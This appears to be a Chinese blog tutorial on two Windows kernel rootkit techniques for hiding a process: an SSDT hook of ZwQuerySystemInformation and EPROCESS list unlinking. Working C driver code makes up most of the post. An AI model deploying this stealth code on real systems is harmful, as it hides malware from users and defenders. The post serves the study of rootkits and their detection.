第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址

使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。

见核心代码

NTSTATUS NewZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );

if( NT_SUCCESS(ntStatus))

{

// Asking for a file and directory listing

if(SystemInformationClass == 5)

{

// This is a query for the process list.

// Look for process names that start with

// '_root_' and filter them out.

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(curr)

{

DbgPrint("Current item is %x\n", curr);

if (curr->ProcessName.Buffer != NULL)

{

if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

{

m_UserTime.QuadPart += curr->UserTime.QuadPart;

m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry

{

if(curr->NextEntryDelta)

prev->NextEntryDelta += curr->NextEntryDelta;

else   // we are last, so make prev the end

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)

{

// we are first in the list, so move it forward

(char *)SystemInformation += curr->NextEntryDelta;

}

else // we are the only process!

SystemInformation = NULL;

}

}

}

else // This is the entry for the Idle process

{

// Add the kernel and user times of _root_*

// processes to the Idle process.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// Reset the timers for next time we filter

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

}

prev = curr;

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}

}

else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

{

struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

}

}

return ntStatus;

}

代码摘自Rootkits-Windows内核的安全防护一书

效果如图

我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。

第二种是直接在内核的EPROCESS链表中摘去目标进程。

void EnumERProcess()

{

ULONG eproc ;

ULONG first_eproc;

int currentPid = 0;

int startPid = 0;

int cout = 0;

//      ULONG pflinkErp,pblinkErp;

PLIST_ENTRY pListActiveProcs;

PLIST_ENTRY pflinkErp,pblinkErp;

//_asm int 3;

//遍历ActiveList

first_eproc = eproc = (ULONG)PsGetCurrentProcess();

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

while(eproc!=0)

{

PULONG pid = (PULONG)(eproc +0x84);

PCHAR image_name = (PCHAR)(eproc +0x174);

DbgPrint("PID=%d ProcessName=%s\n",*pid,image_name);

if(strcmp(image_name,"root.exe") == 0)

{

DbgPrint("发现进程root\n");

pflinkErp = pListActiveProcs->Flink;

pblinkErp  = pListActiveProcs->Blink;

//后一个节点的前进节点设置为下一个

pblinkErp->Flink = pflinkErp;

//设置前面一个节点的后面节点

pflinkErp->Blink = pblinkErp;

pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);

pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);

return;

}

eproc = (ULONG)pListActiveProcs->Flink - 0x88;

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

if(eproc == first_eproc)

break;

}

}

(XP环境测试代码,直接硬编码了)

效果和第一种一样

下一篇将告诉大家如何检测隐藏进程

Ring0隐藏进程的方法的更多相关文章

  1. Linux系统上对其他用户隐藏进程的简单方法

    mount -o remount,rw,hidepid=2 /proc 我使用的是多用户系统,大部分的用户通过ssh客户端访问他们的资源.我如何(怎么样)避免泄露进程信息给他们?如何(怎么样)在Deb ...

  2. 修改ActiveProcessLinks链表隐藏进程

    在Windows内核中有一个活动进程链表AcvtivePeorecssList.它是一个双向链表,保存着系统中所有进程的EPROCESS结构.特别地,进程的EPROCESS结构包含一个具有指针成员FL ...

  3. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  4. 遍历PspCidTable表检测隐藏进程

    一.PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程 ...

  5. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  6. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  7. Android下结束进程的方法

    转自:http://www.cnblogs.com/crazypebble/archive/2011/04/05/2006213.html 最近在做一个类似与任务管理器的东西,里面有个功能,可以通过这 ...

  8. 程氏CMS去掉静态页面的隐藏性版权方法

    程氏CMS去掉静态页面的隐藏性版权方法 实例如图: 因为之前自己找了好久都没找到这俩代码写在那个文件夹的,经过跟csqq8讨论了也没有得到结果,今天突然发现,原来这些代码都经过base64加密,用加密 ...

  9. Oracle查询被锁的表及进程的方法

    Oracle查询可以有多种方法,下面为您介绍的是如何Oracle查询被锁的表及Oracle查询连接的进程的方法,希望对您能够有所帮助. 一.查看被锁的表 select p.spid,a.serial# ...

随机推荐

  1. 模拟搭建Web项目的真实运行环境(五)

    一.开启IIS功能 刚安装完的server2008是没有默认开启IIS功能,在这里简单介绍一下如何开启IIS. 步骤: 1. 打开控制面板,选中[程序] 2. 在[程序和功能]下面,选择[打开或关闭w ...

  2. 阿里云CentOS7系列三 -- 配置防火墙

    前面讲到了安装JDK以及Tomcat.但是大家会发现,当我们访问 http:// XXX.XXX.XXX.XXX:8080/80 时候,tomcat 猫并没有出现.原因就是没有设置防火墙. 再次介绍下 ...

  3. Code First数据库迁移

    生成数据库 修改类文件PortalContext.cs的静态构造函数,取消当数据库模型发生改变时删除当前数据库重建新数据库的设置. PortalContext() { Database.SetInit ...

  4. LWIP总结

    介绍 Lwip,light weight IP:是由Adam Dunkels 开发的一个小型开源的TCP/IP协议栈:目前已经为全球共同开发的开源协议:支持TCPIP协议族的核心协议:包括:ARP/I ...

  5. 21分钟 MySQL 入门教程(转载!!!)

    21分钟 MySQL 入门教程 目录 一.MySQL的相关概念介绍 二.Windows下MySQL的配置 配置步骤 MySQL服务的启动.停止与卸载 三.MySQL脚本的基本组成 四.MySQL中的数 ...

  6. Java 之 异常处理

    1.异常: a.问题(Throwable):异常(Exception).错误(Error)   异常(Exception):运行时异常(RuntimeException).编译时异常(Unhandle ...

  7. Git - 问题集

    1.If no other git process is currently running, this probably means a git process crashed in this re ...

  8. D3中selection之使用

    1. 极为重要的reference: [1] How selections works. http://bost.ocks.org/mike/selection/ [2] Nested selecti ...

  9. 记一次在java中的日期parse错误

    String dateString = "2014101517"; new SimpleDateFormat("yyyyMMddHH").parse(dateS ...

  10. .NET静态变量与静态方法并发的问题

    我们知道,静态变量与静态方法都是在程序编译的时候就定义好了的,并且不会存在多个副本.所以对于静态变量来说,一旦修改了就会影响全局. 因此,静态变量是存在并发性问题的,所以当我们在操作静态变量的时候需要 ...